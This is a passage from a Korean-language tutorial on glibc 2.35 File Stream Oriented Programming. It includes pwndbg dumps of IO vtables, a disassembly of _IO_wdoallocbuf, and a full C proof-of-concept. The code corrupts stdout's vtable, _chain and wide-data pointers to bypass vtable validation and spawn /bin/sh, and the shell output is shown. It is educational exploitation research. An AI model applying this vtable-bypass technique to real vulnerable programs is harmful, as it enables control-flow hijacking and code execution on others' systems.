이 함수는 파라미터로 전달된 함수 주소가 vtable 범위 내에 있는지 검사학고 이 범위를 벗어났다면, 오류를 발생시킨다. 그래서 공격자는 반드시 범위 내의 함수만을 사용해야 한다. 이때 이 범위에는 _IOfilejumps, _IOwfilejumps, _IOstrjumps 등으로 접근할 수 있는 함수들이 포함된다. 이 구조체 변수들은 GDB로 확인해보면 다음과 같이 고정된 오프셋일 갖는다. 따라서 vtable 멤버의 값을 얻을 수 있다면, 오프셋을 계산해서 특정 함수를 호출할 수 있다.

  1pwndbg> x/32gx __start___libc_IO_vtables
  20x7ffff7e16a00 <_IO_helper_jumps>:      0x0000000000000000      0x0000000000000000
  30x7ffff7e16a10 <_IO_helper_jumps+16>:   0x00007ffff7c8e730      0x00007ffff7c72260
  40x7ffff7e16a20 <_IO_helper_jumps+32>:   0x00007ffff7c8dd50      0x00007ffff7c8dd60
  50x7ffff7e16a30 <_IO_helper_jumps+48>:   0x00007ffff7c8f280      0x00007ffff7c8ddc0
  60x7ffff7e16a40 <_IO_helper_jumps+64>:   0x00007ffff7c8e040      0x00007ffff7c8e7a0
  70x7ffff7e16a50 <_IO_helper_jumps+80>:   0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
  80x7ffff7e16a60 <_IO_helper_jumps+96>:   0x00007ffff7c8e720      0x00007ffff7c8e520
  90x7ffff7e16a70 <_IO_helper_jumps+112>:  0x00007ffff7c8f400      0x00007ffff7c8f410
 100x7ffff7e16a80 <_IO_helper_jumps+128>:  0x00007ffff7c8f3e0      0x00007ffff7c8e720
 110x7ffff7e16a90 <_IO_helper_jumps+144>:  0x00007ffff7c8f3f0      0x0000000000000000
 120x7ffff7e16aa0 <_IO_helper_jumps+160>:  0x0000000000000000      0x0000000000000000
 130x7ffff7e16ab0: 0x0000000000000000      0x0000000000000000
 140x7ffff7e16ac0 <_IO_helper_jumps>:      0x0000000000000000      0x0000000000000000
 150x7ffff7e16ad0 <_IO_helper_jumps+16>:   0x00007ffff7c837c0      0x00007ffff7c777e0
 160x7ffff7e16ae0 <_IO_helper_jumps+32>:   0x00007ffff7c8dd50      0x00007ffff7c8dd60
 170x7ffff7e16af0 <_IO_helper_jumps+48>:   0x00007ffff7c83600      0x00007ffff7c83930
 18pwndbg> 
 190x7ffff7e16b00 <_IO_helper_jumps+64>:   0x00007ffff7c84030      0x00007ffff7c8e7a0
 200x7ffff7e16b10 <_IO_helper_jumps+80>:   0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
 210x7ffff7e16b20 <_IO_helper_jumps+96>:   0x00007ffff7c8e720      0x00007ffff7c83c20
 220x7ffff7e16b30 <_IO_helper_jumps+112>:  0x00007ffff7c8f400      0x00007ffff7c8f410
 230x7ffff7e16b40 <_IO_helper_jumps+128>:  0x00007ffff7c8f3e0      0x00007ffff7c8e720
 240x7ffff7e16b50 <_IO_helper_jumps+144>:  0x00007ffff7c8f3f0      0x0000000000000000
 250x7ffff7e16b60 <_IO_helper_jumps+160>:  0x0000000000000000      0x0000000000000000
 260x7ffff7e16b70: 0x0000000000000000      0x0000000000000000
 270x7ffff7e16b80 <_IO_cookie_jumps>:      0x0000000000000000      0x0000000000000000
 280x7ffff7e16b90 <_IO_cookie_jumps+16>:   0x00007ffff7c8bff0      0x00007ffff7c8cdc0
 290x7ffff7e16ba0 <_IO_cookie_jumps+32>:   0x00007ffff7c8cab0      0x00007ffff7c8dd60
 300x7ffff7e16bb0 <_IO_cookie_jumps+48>:   0x00007ffff7c8f280      0x00007ffff7c8b600
 310x7ffff7e16bc0 <_IO_cookie_jumps+64>:   0x00007ffff7c8e040      0x00007ffff7c7f850
 320x7ffff7e16bd0 <_IO_cookie_jumps+80>:   0x00007ffff7c8e4b0      0x00007ffff7c8a5a0
 330x7ffff7e16be0 <_IO_cookie_jumps+96>:   0x00007ffff7c8a430      0x00007ffff7c7eb10
 340x7ffff7e16bf0 <_IO_cookie_jumps+112>:  0x00007ffff7c7f730      0x00007ffff7c7f760
 35pwndbg> 
 360x7ffff7e16c00 <_IO_cookie_jumps+128>:  0x00007ffff7c7f7b0      0x00007ffff7c7f810
 370x7ffff7e16c10 <_IO_cookie_jumps+144>:  0x00007ffff7c8f3f0      0x00007ffff7c8f420
 380x7ffff7e16c20 <_IO_cookie_jumps+160>:  0x00007ffff7c8f430      0x0000000000000000
 390x7ffff7e16c30: 0x0000000000000000      0x0000000000000000
 400x7ffff7e16c40 <_IO_proc_jumps>:        0x0000000000000000      0x0000000000000000
 410x7ffff7e16c50 <_IO_proc_jumps+16>:     0x00007ffff7c8bff0      0x00007ffff7c8cdc0
 420x7ffff7e16c60 <_IO_proc_jumps+32>:     0x00007ffff7c8cab0      0x00007ffff7c8dd60
 430x7ffff7e16c70 <_IO_proc_jumps+48>:     0x00007ffff7c8f280      0x00007ffff7c8b600
 440x7ffff7e16c80 <_IO_proc_jumps+64>:     0x00007ffff7c8e040      0x00007ffff7c8a8e0
 450x7ffff7e16c90 <_IO_proc_jumps+80>:     0x00007ffff7c8e4b0      0x00007ffff7c8a5a0
 460x7ffff7e16ca0 <_IO_proc_jumps+96>:     0x00007ffff7c8a430      0x00007ffff7c7eb10
 470x7ffff7e16cb0 <_IO_proc_jumps+112>:    0x00007ffff7c8b930      0x00007ffff7c8aec0
 480x7ffff7e16cc0 <_IO_proc_jumps+128>:    0x00007ffff7c8a670      0x00007ffff7c807e0
 490x7ffff7e16cd0 <_IO_proc_jumps+144>:    0x00007ffff7c8aeb0      0x00007ffff7c8f420
 500x7ffff7e16ce0 <_IO_proc_jumps+160>:    0x00007ffff7c8f430      0x0000000000000000
 510x7ffff7e16cf0: 0x0000000000000000      0x0000000000000000
 52pwndbg> 
 530x7ffff7e16d00 <_IO_str_chk_jumps>:     0x0000000000000000      0x0000000000000000
 540x7ffff7e16d10 <_IO_str_chk_jumps+16>:  0x00007ffff7c8f970      0x00007ffff7c818d0
 550x7ffff7e16d20 <_IO_str_chk_jumps+32>:  0x00007ffff7c8f530      0x00007ffff7c8dd60
 560x7ffff7e16d30 <_IO_str_chk_jumps+48>:  0x00007ffff7c8f950      0x00007ffff7c8ddc0
 570x7ffff7e16d40 <_IO_str_chk_jumps+64>:  0x00007ffff7c8e040      0x00007ffff7c8faf0
 580x7ffff7e16d50 <_IO_str_chk_jumps+80>:  0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
 590x7ffff7e16d60 <_IO_str_chk_jumps+96>:  0x00007ffff7c8e720      0x00007ffff7c8e520
 600x7ffff7e16d70 <_IO_str_chk_jumps+112>: 0x00007ffff7c8f400      0x00007ffff7c8f410
 610x7ffff7e16d80 <_IO_str_chk_jumps+128>: 0x00007ffff7c8f3e0      0x00007ffff7c8e720
 620x7ffff7e16d90 <_IO_str_chk_jumps+144>: 0x00007ffff7c8f3f0      0x00007ffff7c8f420
 630x7ffff7e16da0 <_IO_str_chk_jumps+160>: 0x00007ffff7c8f430      0x0000000000000000
 640x7ffff7e16db0: 0x0000000000000000      0x0000000000000000
 650x7ffff7e16dc0 <_IO_wstrn_jumps>:       0x0000000000000000      0x0000000000000000
 660x7ffff7e16dd0 <_IO_wstrn_jumps+16>:    0x00007ffff7c84ba0      0x00007ffff7c82f00
 670x7ffff7e16de0 <_IO_wstrn_jumps+32>:    0x00007ffff7c846d0      0x00007ffff7c83840
 680x7ffff7e16df0 <_IO_wstrn_jumps+48>:    0x00007ffff7c84b80      0x00007ffff7c83930
 69pwndbg> 
 700x7ffff7e16e00 <_IO_wstrn_jumps+64>:    0x00007ffff7c84030      0x00007ffff7c84cf0
 710x7ffff7e16e10 <_IO_wstrn_jumps+80>:    0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
 720x7ffff7e16e20 <_IO_wstrn_jumps+96>:    0x00007ffff7c8e720      0x00007ffff7c83c20
 730x7ffff7e16e30 <_IO_wstrn_jumps+112>:   0x00007ffff7c8f400      0x00007ffff7c8f410
 740x7ffff7e16e40 <_IO_wstrn_jumps+128>:   0x00007ffff7c8f3e0      0x00007ffff7c8e720
 750x7ffff7e16e50 <_IO_wstrn_jumps+144>:   0x00007ffff7c8f3f0      0x00007ffff7c8f420
 760x7ffff7e16e60 <_IO_wstrn_jumps+160>:   0x00007ffff7c8f430      0x0000000000000000
 770x7ffff7e16e70: 0x0000000000000000      0x0000000000000000
 780x7ffff7e16e80 <_IO_wstr_jumps>:        0x0000000000000000      0x0000000000000000
 790x7ffff7e16e90 <_IO_wstr_jumps+16>:     0x00007ffff7c84ba0      0x00007ffff7c84740
 800x7ffff7e16ea0 <_IO_wstr_jumps+32>:     0x00007ffff7c846d0      0x00007ffff7c83840
 810x7ffff7e16eb0 <_IO_wstr_jumps+48>:     0x00007ffff7c84b80      0x00007ffff7c83930
 820x7ffff7e16ec0 <_IO_wstr_jumps+64>:     0x00007ffff7c84030      0x00007ffff7c84cf0
 830x7ffff7e16ed0 <_IO_wstr_jumps+80>:     0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
 840x7ffff7e16ee0 <_IO_wstr_jumps+96>:     0x00007ffff7c8e720      0x00007ffff7c83c20
 850x7ffff7e16ef0 <_IO_wstr_jumps+112>:    0x00007ffff7c8f400      0x00007ffff7c8f410
 86pwndbg> 
 870x7ffff7e16f00 <_IO_wstr_jumps+128>:    0x00007ffff7c8f3e0      0x00007ffff7c8e720
 880x7ffff7e16f10 <_IO_wstr_jumps+144>:    0x00007ffff7c8f3f0      0x00007ffff7c8f420
 890x7ffff7e16f20 <_IO_wstr_jumps+160>:    0x00007ffff7c8f430      0x0000000000000000
 900x7ffff7e16f30: 0x0000000000000000      0x0000000000000000
 910x7ffff7e16f40 <_IO_wfile_jumps_maybe_mmap>:    0x0000000000000000      0x0000000000000000
 920x7ffff7e16f50 <_IO_wfile_jumps_maybe_mmap+16>: 0x00007ffff7c8bff0      0x00007ffff7c86390
 930x7ffff7e16f60 <_IO_wfile_jumps_maybe_mmap+32>: 0x00007ffff7c85ff0      0x00007ffff7c83840
 940x7ffff7e16f70 <_IO_wfile_jumps_maybe_mmap+48>: 0x00007ffff7c83600      0x00007ffff7c86840
 950x7ffff7e16f80 <_IO_wfile_jumps_maybe_mmap+64>: 0x00007ffff7c8b2b0      0x00007ffff7c85750
 960x7ffff7e16f90 <_IO_wfile_jumps_maybe_mmap+80>: 0x00007ffff7c8e4b0      0x00007ffff7c8a5d0
 970x7ffff7e16fa0 <_IO_wfile_jumps_maybe_mmap+96>: 0x00007ffff7c866a0      0x00007ffff7c7fe90
 980x7ffff7e16fb0 <_IO_wfile_jumps_maybe_mmap+112>:        0x00007ffff7c8b930      0x00007ffff7c8aec0
 990x7ffff7e16fc0 <_IO_wfile_jumps_maybe_mmap+128>:        0x00007ffff7c8a670      0x00007ffff7c8a590
1000x7ffff7e16fd0 <_IO_wfile_jumps_maybe_mmap+144>:        0x00007ffff7c8aeb0      0x00007ffff7c8f420
1010x7ffff7e16fe0 <_IO_wfile_jumps_maybe_mmap+160>:        0x00007ffff7c8f430      0x0000000000000000
1020x7ffff7e16ff0: 0x0000000000000000      0x0000000000000000
103pwndbg> 
1040x7ffff7e17000 <_IO_wfile_jumps_mmap>:  0x0000000000000000      0x0000000000000000
1050x7ffff7e17010 <_IO_wfile_jumps_mmap+16>:       0x00007ffff7c8bff0      0x00007ffff7c86390
1060x7ffff7e17020 <_IO_wfile_jumps_mmap+32>:       0x00007ffff7c86030      0x00007ffff7c83840
1070x7ffff7e17030 <_IO_wfile_jumps_mmap+48>:       0x00007ffff7c83600      0x00007ffff7c86840
1080x7ffff7e17040 <_IO_wfile_jumps_mmap+64>:       0x00007ffff7c8b2b0      0x00007ffff7c85750
1090x7ffff7e17050 <_IO_wfile_jumps_mmap+80>:       0x00007ffff7c8e4b0      0x00007ffff7c8a5d0
1100x7ffff7e17060 <_IO_wfile_jumps_mmap+96>:       0x00007ffff7c866a0      0x00007ffff7c7fe90
1110x7ffff7e17070 <_IO_wfile_jumps_mmap+112>:      0x00007ffff7c8b930      0x00007ffff7c8aec0
1120x7ffff7e17080 <_IO_wfile_jumps_mmap+128>:      0x00007ffff7c8a670      0x00007ffff7c8a640
1130x7ffff7e17090 <_IO_wfile_jumps_mmap+144>:      0x00007ffff7c8aeb0      0x00007ffff7c8f420
1140x7ffff7e170a0 <_IO_wfile_jumps_mmap+160>:      0x00007ffff7c8f430      0x0000000000000000
1150x7ffff7e170b0: 0x0000000000000000      0x0000000000000000
1160x7ffff7e170c0 <_IO_wfile_jumps>:       0x0000000000000000      0x0000000000000000
1170x7ffff7e170d0 <_IO_wfile_jumps+16>:    0x00007ffff7c8bff0      0x00007ffff7c86390
1180x7ffff7e170e0 <_IO_wfile_jumps+32>:    0x00007ffff7c84fd0      0x00007ffff7c83840
1190x7ffff7e170f0 <_IO_wfile_jumps+48>:    0x00007ffff7c83600      0x00007ffff7c86840
120pwndbg> 
1210x7ffff7e17100 <_IO_wfile_jumps+64>:    0x00007ffff7c8b2b0      0x00007ffff7c85750
1220x7ffff7e17110 <_IO_wfile_jumps+80>:    0x00007ffff7c8e4b0      0x00007ffff7c8a5a0
1230x7ffff7e17120 <_IO_wfile_jumps+96>:    0x00007ffff7c866a0      0x00007ffff7c7fe90
1240x7ffff7e17130 <_IO_wfile_jumps+112>:   0x00007ffff7c8b930      0x00007ffff7c8aec0
1250x7ffff7e17140 <_IO_wfile_jumps+128>:   0x00007ffff7c8a670      0x00007ffff7c8a590
1260x7ffff7e17150 <_IO_wfile_jumps+144>:   0x00007ffff7c8aeb0      0x00007ffff7c8f420
1270x7ffff7e17160 <_IO_wfile_jumps+160>:   0x00007ffff7c8f430      0x0000000000000000
1280x7ffff7e17170: 0x0000000000000000      0x0000000000000000
1290x7ffff7e17180 <_IO_wmem_jumps>:        0x0000000000000000      0x0000000000000000
1300x7ffff7e17190 <_IO_wmem_jumps+16>:     0x00007ffff7c87150      0x00007ffff7c84740
1310x7ffff7e171a0 <_IO_wmem_jumps+32>:     0x00007ffff7c846d0      0x00007ffff7c83840
1320x7ffff7e171b0 <_IO_wmem_jumps+48>:     0x00007ffff7c84b80      0x00007ffff7c83930
1330x7ffff7e171c0 <_IO_wmem_jumps+64>:     0x00007ffff7c84030      0x00007ffff7c84cf0
1340x7ffff7e171d0 <_IO_wmem_jumps+80>:     0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
1350x7ffff7e171e0 <_IO_wmem_jumps+96>:     0x00007ffff7c870f0      0x00007ffff7c83c20
1360x7ffff7e171f0 <_IO_wmem_jumps+112>:    0x00007ffff7c8f400      0x00007ffff7c8f410
137pwndbg> 
1380x7ffff7e17200 <_IO_wmem_jumps+128>:    0x00007ffff7c8f3e0      0x00007ffff7c8e720
1390x7ffff7e17210 <_IO_wmem_jumps+144>:    0x00007ffff7c8f3f0      0x00007ffff7c8f420
1400x7ffff7e17220 <_IO_wmem_jumps+160>:    0x00007ffff7c8f430      0x0000000000000000
1410x7ffff7e17230: 0x0000000000000000      0x0000000000000000
1420x7ffff7e17240 <_IO_mem_jumps>: 0x0000000000000000      0x0000000000000000
1430x7ffff7e17250 <_IO_mem_jumps+16>:      0x00007ffff7c87c70      0x00007ffff7c8f590
1440x7ffff7e17260 <_IO_mem_jumps+32>:      0x00007ffff7c8f530      0x00007ffff7c8dd60
1450x7ffff7e17270 <_IO_mem_jumps+48>:      0x00007ffff7c8f950      0x00007ffff7c8ddc0
1460x7ffff7e17280 <_IO_mem_jumps+64>:      0x00007ffff7c8e040      0x00007ffff7c8faf0
1470x7ffff7e17290 <_IO_mem_jumps+80>:      0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
1480x7ffff7e172a0 <_IO_mem_jumps+96>:      0x00007ffff7c87c20      0x00007ffff7c8e520
1490x7ffff7e172b0 <_IO_mem_jumps+112>:     0x00007ffff7c8f400      0x00007ffff7c8f410
1500x7ffff7e172c0 <_IO_mem_jumps+128>:     0x00007ffff7c8f3e0      0x00007ffff7c8e720
1510x7ffff7e172d0 <_IO_mem_jumps+144>:     0x00007ffff7c8f3f0      0x00007ffff7c8f420
1520x7ffff7e172e0 <_IO_mem_jumps+160>:     0x00007ffff7c8f430      0x0000000000000000
1530x7ffff7e172f0: 0x0000000000000000      0x0000000000000000
154pwndbg> 
1550x7ffff7e17300 <_IO_strn_jumps>:        0x0000000000000000      0x0000000000000000
1560x7ffff7e17310 <_IO_strn_jumps+16>:     0x00007ffff7c8f970      0x00007ffff7c88370
1570x7ffff7e17320 <_IO_strn_jumps+32>:     0x00007ffff7c8f530      0x00007ffff7c8dd60
1580x7ffff7e17330 <_IO_strn_jumps+48>:     0x00007ffff7c8f950      0x00007ffff7c8ddc0
1590x7ffff7e17340 <_IO_strn_jumps+64>:     0x00007ffff7c8e040      0x00007ffff7c8faf0
1600x7ffff7e17350 <_IO_strn_jumps+80>:     0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
1610x7ffff7e17360 <_IO_strn_jumps+96>:     0x00007ffff7c8e720      0x00007ffff7c8e520
1620x7ffff7e17370 <_IO_strn_jumps+112>:    0x00007ffff7c8f400      0x00007ffff7c8f410
1630x7ffff7e17380 <_IO_strn_jumps+128>:    0x00007ffff7c8f3e0      0x00007ffff7c8e720
1640x7ffff7e17390 <_IO_strn_jumps+144>:    0x00007ffff7c8f3f0      0x00007ffff7c8f420
1650x7ffff7e173a0 <_IO_strn_jumps+160>:    0x00007ffff7c8f430      0x0000000000000000
1660x7ffff7e173b0: 0x0000000000000000      0x0000000000000000
1670x7ffff7e173c0 <_IO_obstack_jumps>:     0x0000000000000000      0x0000000000000000
1680x7ffff7e173d0 <_IO_obstack_jumps+16>:  0x0000000000000000      0x00007ffff7c885d0
1690x7ffff7e173e0 <_IO_obstack_jumps+32>:  0x0000000000000000      0x0000000000000000
1700x7ffff7e173f0 <_IO_obstack_jumps+48>:  0x0000000000000000      0x00007ffff7c88510
171pwndbg> 
1720x7ffff7e17400 <_IO_obstack_jumps+64>:  0x0000000000000000      0x0000000000000000
1730x7ffff7e17410 <_IO_obstack_jumps+80>:  0x0000000000000000      0x0000000000000000
1740x7ffff7e17420 <_IO_obstack_jumps+96>:  0x0000000000000000      0x0000000000000000
1750x7ffff7e17430 <_IO_obstack_jumps+112>: 0x0000000000000000      0x0000000000000000
1760x7ffff7e17440 <_IO_obstack_jumps+128>: 0x0000000000000000      0x0000000000000000
1770x7ffff7e17450 <_IO_obstack_jumps+144>: 0x0000000000000000      0x0000000000000000
1780x7ffff7e17460 <_IO_obstack_jumps+160>: 0x0000000000000000      0x0000000000000000
1790x7ffff7e17470: 0x0000000000000000      0x0000000000000000
1800x7ffff7e17480 <_IO_file_jumps_maybe_mmap>:     0x0000000000000000      0x0000000000000000
1810x7ffff7e17490 <_IO_file_jumps_maybe_mmap+16>:  0x00007ffff7c8bff0      0x00007ffff7c8cdc0
1820x7ffff7e174a0 <_IO_file_jumps_maybe_mmap+32>:  0x00007ffff7c8b960      0x00007ffff7c8dd60
1830x7ffff7e174b0 <_IO_file_jumps_maybe_mmap+48>:  0x00007ffff7c8f280      0x00007ffff7c8b600
1840x7ffff7e174c0 <_IO_file_jumps_maybe_mmap+64>:  0x00007ffff7c8a6e0      0x00007ffff7c8a520
1850x7ffff7e174d0 <_IO_file_jumps_maybe_mmap+80>:  0x00007ffff7c8e4b0      0x00007ffff7c8a5d0
1860x7ffff7e174e0 <_IO_file_jumps_maybe_mmap+96>:  0x00007ffff7c8a430      0x00007ffff7c7eb10
1870x7ffff7e174f0 <_IO_file_jumps_maybe_mmap+112>: 0x00007ffff7c8b930      0x00007ffff7c8aec0
188pwndbg> 
1890x7ffff7e17500 <_IO_file_jumps_maybe_mmap+128>: 0x00007ffff7c8a670      0x00007ffff7c8a590
1900x7ffff7e17510 <_IO_file_jumps_maybe_mmap+144>: 0x00007ffff7c8aeb0      0x00007ffff7c8f420
1910x7ffff7e17520 <_IO_file_jumps_maybe_mmap+160>: 0x00007ffff7c8f430      0x0000000000000000
1920x7ffff7e17530: 0x0000000000000000      0x0000000000000000
1930x7ffff7e17540 <_IO_file_jumps_mmap>:   0x0000000000000000      0x0000000000000000
1940x7ffff7e17550 <_IO_file_jumps_mmap+16>:        0x00007ffff7c8bff0      0x00007ffff7c8cdc0
1950x7ffff7e17560 <_IO_file_jumps_mmap+32>:        0x00007ffff7c8bb50      0x00007ffff7c8dd60
1960x7ffff7e17570 <_IO_file_jumps_mmap+48>:        0x00007ffff7c8f280      0x00007ffff7c8b600
1970x7ffff7e17580 <_IO_file_jumps_mmap+64>:        0x00007ffff7c8af60      0x00007ffff7c8b4d0
1980x7ffff7e17590 <_IO_file_jumps_mmap+80>:        0x00007ffff7c8e4b0      0x00007ffff7c8a5d0
1990x7ffff7e175a0 <_IO_file_jumps_mmap+96>:        0x00007ffff7c8a680      0x00007ffff7c7eb10
2000x7ffff7e175b0 <_IO_file_jumps_mmap+112>:       0x00007ffff7c8b930      0x00007ffff7c8aec0
2010x7ffff7e175c0 <_IO_file_jumps_mmap+128>:       0x00007ffff7c8a670      0x00007ffff7c8a640
2020x7ffff7e175d0 <_IO_file_jumps_mmap+144>:       0x00007ffff7c8aeb0      0x00007ffff7c8f420
2030x7ffff7e175e0 <_IO_file_jumps_mmap+160>:       0x00007ffff7c8f430      0x0000000000000000
2040x7ffff7e175f0: 0x0000000000000000      0x0000000000000000
205pwndbg> 
2060x7ffff7e17600 <_IO_file_jumps>:        0x0000000000000000      0x0000000000000000
2070x7ffff7e17610 <_IO_file_jumps+16>:     0x00007ffff7c8bff0      0x00007ffff7c8cdc0
2080x7ffff7e17620 <_IO_file_jumps+32>:     0x00007ffff7c8cab0      0x00007ffff7c8dd60
2090x7ffff7e17630 <_IO_file_jumps+48>:     0x00007ffff7c8f280      0x00007ffff7c8b600
2100x7ffff7e17640 <_IO_file_jumps+64>:     0x00007ffff7c8b2b0      0x00007ffff7c8a8e0
2110x7ffff7e17650 <_IO_file_jumps+80>:     0x00007ffff7c8e4b0      0x00007ffff7c8a5a0
2120x7ffff7e17660 <_IO_file_jumps+96>:     0x00007ffff7c8a430      0x00007ffff7c7eb10
2130x7ffff7e17670 <_IO_file_jumps+112>:    0x00007ffff7c8b930      0x00007ffff7c8aec0
2140x7ffff7e17680 <_IO_file_jumps+128>:    0x00007ffff7c8a670      0x00007ffff7c8a590
2150x7ffff7e17690 <_IO_file_jumps+144>:    0x00007ffff7c8aeb0      0x00007ffff7c8f420
2160x7ffff7e176a0 <_IO_file_jumps+160>:    0x00007ffff7c8f430      0x0000000000000000
2170x7ffff7e176b0: 0x0000000000000000      0x0000000000000000
2180x7ffff7e176c0 <_IO_str_jumps>: 0x0000000000000000      0x0000000000000000
2190x7ffff7e176d0 <_IO_str_jumps+16>:      0x00007ffff7c8f970      0x00007ffff7c8f590
2200x7ffff7e176e0 <_IO_str_jumps+32>:      0x00007ffff7c8f530      0x00007ffff7c8dd60
2210x7ffff7e176f0 <_IO_str_jumps+48>:      0x00007ffff7c8f950      0x00007ffff7c8ddc0
222pwndbg> 
2230x7ffff7e17700 <_IO_str_jumps+64>:      0x00007ffff7c8e040      0x00007ffff7c8faf0
2240x7ffff7e17710 <_IO_str_jumps+80>:      0x00007ffff7c8e4b0      0x00007ffff7c8e3b0
2250x7ffff7e17720 <_IO_str_jumps+96>:      0x00007ffff7c8e720      0x00007ffff7c8e520
2260x7ffff7e17730 <_IO_str_jumps+112>:     0x00007ffff7c8f400      0x00007ffff7c8f410
2270x7ffff7e17740 <_IO_str_jumps+128>:     0x00007ffff7c8f3e0      0x00007ffff7c8e720
2280x7ffff7e17750 <_IO_str_jumps+144>:     0x00007ffff7c8f3f0      0x00007ffff7c8f420
2290x7ffff7e17760 <_IO_str_jumps+160>:     0x00007ffff7c8f430      0x0000000000000000
230pwndbg>

그럼 이 많은 함수들 중 어느 것을 타겟으로 잡아야 할까? 위 범위에 포함되는 함수 중에서 호출하는 함수 주소에 대한 검사가 없는 것으로 알려진 것이 _IOwdoallocbuf 함수이다. 이는 이 함수의 어셈블리 코드를 보면 어떤 의미인지 알 수 있다[2].

 1pwndbg> disassemble _IO_wdoallocbuf 
 2Dump of assembler code for function __GI__IO_wdoallocbuf:
 3=> 0x00007ffff7c83b70 <+0>:     endbr64 
 40x00007ffff7c83b74 <+4>:     mov    rax,QWORD PTR [rdi+0xa0]
 50x00007ffff7c83b7b <+11>:    cmp    QWORD PTR [rax+0x30],0x0
 60x00007ffff7c83b80 <+16>:    je     0x7ffff7c83b88 <__GI__IO_wdoallocbuf+24>
 70x00007ffff7c83b82 <+18>:    ret    
 80x00007ffff7c83b83 <+19>:    nop    DWORD PTR [rax+rax*1+0x0]
 90x00007ffff7c83b88 <+24>:    push   r12
100x00007ffff7c83b8a <+26>:    push   rbp
110x00007ffff7c83b8b <+27>:    push   rbx
120x00007ffff7c83b8c <+28>:    mov    rbx,rdi
130x00007ffff7c83b8f <+31>:    test   BYTE PTR [rdi],0x2
140x00007ffff7c83b92 <+34>:    jne    0x7ffff7c83c08 <__GI__IO_wdoallocbuf+152>
150x00007ffff7c83b94 <+36>:    mov    rax,QWORD PTR [rax+0xe0]
160x00007ffff7c83b9b <+43>:    call   QWORD PTR [rax+0x68]
170x00007ffff7c83b9e <+46>:    cmp    eax,0xffffffff
180x00007ffff7c83ba1 <+49>:    jne    0x7ffff7c83be1 <__GI__IO_wdoallocbuf+113>
190x00007ffff7c83ba3 <+51>:    mov    rax,QWORD PTR [rbx+0xa0]
200x00007ffff7c83baa <+58>:    mov    edx,DWORD PTR [rbx+0x74]
210x00007ffff7c83bad <+61>:    mov    rdi,QWORD PTR [rax+0x30]
220x00007ffff7c83bb1 <+65>:    lea    rbp,[rax+0xdc]
230x00007ffff7c83bb8 <+72>:    lea    r12,[rax+0xd8]
240x00007ffff7c83bbf <+79>:    test   rdi,rdi
250x00007ffff7c83bc2 <+82>:    je     0x7ffff7c83bc9 <__GI__IO_wdoallocbuf+89>
260x00007ffff7c83bc4 <+84>:    test   dl,0x8
270x00007ffff7c83bc7 <+87>:    je     0x7ffff7c83bf0 <__GI__IO_wdoallocbuf+128>
280x00007ffff7c83bc9 <+89>:    movq   xmm0,r12
290x00007ffff7c83bce <+94>:    movq   xmm1,rbp
300x00007ffff7c83bd3 <+99>:    or     edx,0x8
310x00007ffff7c83bd6 <+102>:   punpcklqdq xmm0,xmm1
320x00007ffff7c83bda <+106>:   movups XMMWORD PTR [rax+0x30],xmm0
330x00007ffff7c83bde <+110>:   mov    DWORD PTR [rbx+0x74],edx
340x00007ffff7c83be1 <+113>:   pop    rbx
350x00007ffff7c83be2 <+114>:   pop    rbp
360x00007ffff7c83be3 <+115>:   pop    r12
370x00007ffff7c83be5 <+117>:   ret    
380x00007ffff7c83be6 <+118>:   cs nop WORD PTR [rax+rax*1+0x0]
390x00007ffff7c83bf0 <+128>:   call   0x7ffff7c28370 <free@plt>
400x00007ffff7c83bf5 <+133>:   mov    rax,QWORD PTR [rbx+0xa0]
410x00007ffff7c83bfc <+140>:   mov    edx,DWORD PTR [rbx+0x74]
420x00007ffff7c83bff <+143>:   jmp    0x7ffff7c83bc9 <__GI__IO_wdoallocbuf+89>
430x00007ffff7c83c01 <+145>:   nop    DWORD PTR [rax+0x0]
440x00007ffff7c83c08 <+152>:   mov    edx,DWORD PTR [rdi+0x74]
450x00007ffff7c83c0b <+155>:   lea    rbp,[rax+0xdc]
460x00007ffff7c83c12 <+162>:   lea    r12,[rax+0xd8]
470x00007ffff7c83c19 <+169>:   jmp    0x7ffff7c83bc9 <__GI__IO_wdoallocbuf+89>
48End of assembler dump.

위 코드의 <+43> 부분을 보면 [RAX + 0x68]를 호출하고, RAX 레지스터의 값은 RDI 레지스터 (= stdout)로부터 얻는다. 이때 함수 주소로 호출하는 값에 대한 검증은 없다. 따라서 다음과 같이 stdout을 구성하여 실행 흐름을 바꿀 수 있다.

 1#include <stdio.h>
 2
 3void shell(void)
 4{
 5    system("/bin/sh");
 6}
 7
 8void vtable_validation_bypass(void)
 9{
10    char *buf = "Hello, world!!";
11    struct FILE_plus {
12        FILE file;
13        uint8_t *vtable;
14    } *fp_plus = (struct FILE_plus *) stdout;
15    uint8_t *wfile_jumps, *wdoallocbuf;
16    uint8_t *target;
17
18    fp_plus->file._flags &= ~_IO_NO_WRITES;
19    fp_plus->file._flags &= ~_IO_CURRENTLY_PUTTING;
20    fp_plus->file._flags &= ~_IO_UNBUFFERED;
21
22    wfile_jumps = fp_plus->vtable - 0x540;
23    wdoallocbuf = wfile_jumps + 24;
24    fp_plus->vtable = wdoallocbuf - 56;
25
26    /* <_IO_wdoallocbuf+4>: rax = ([rdi + 0xa0] == stdout + 8) */
27    /* <_IO_wdoallocbuf+36>: rax = [rax + e0] == [stdout + 8 + 0xe0] == stdout */
28    /* <_IO_wdoallocbuf+43>: [rax + 0x68] == stdout->_chain */
29    fp_plus->file._chain = shell;
30
31    target = stdout;
32    target += 0xa0;
33    /* <_IO_wdoallocbuf+4>: stdout + 8 == [rdi + 0xa0] */
34    *((uint64_t *) target) = (uint8_t *) stdout + 8;
35
36    puts(buf);
37}
38
39int main()
40{
41    vtable_validation_bypass();
42    return 0;
43}

위 코드를 실행하면 다음을 얻는다.

1$ ./fsop 
2$ ls
3a.out  debug_fsop.gdb  fsop  fsop.c  safe_linking.c
4$ exit
5Segmentation fault (core dumped)

References #

  1. Ulrich Drepper et al., 2022, "GNU C Library," (Version 2.35), [Source Code]. https://ftp.gnu.org/gnu/glibc/glibc-2.35.tar.gz
  2. ssongk, "FSOP(File Stream Oriented Programming)." ssongkit.tistory.com, Accessed: Mar. 30, 2026. [Online]. Available: https://ssongkit.tistory.com/797
last updated: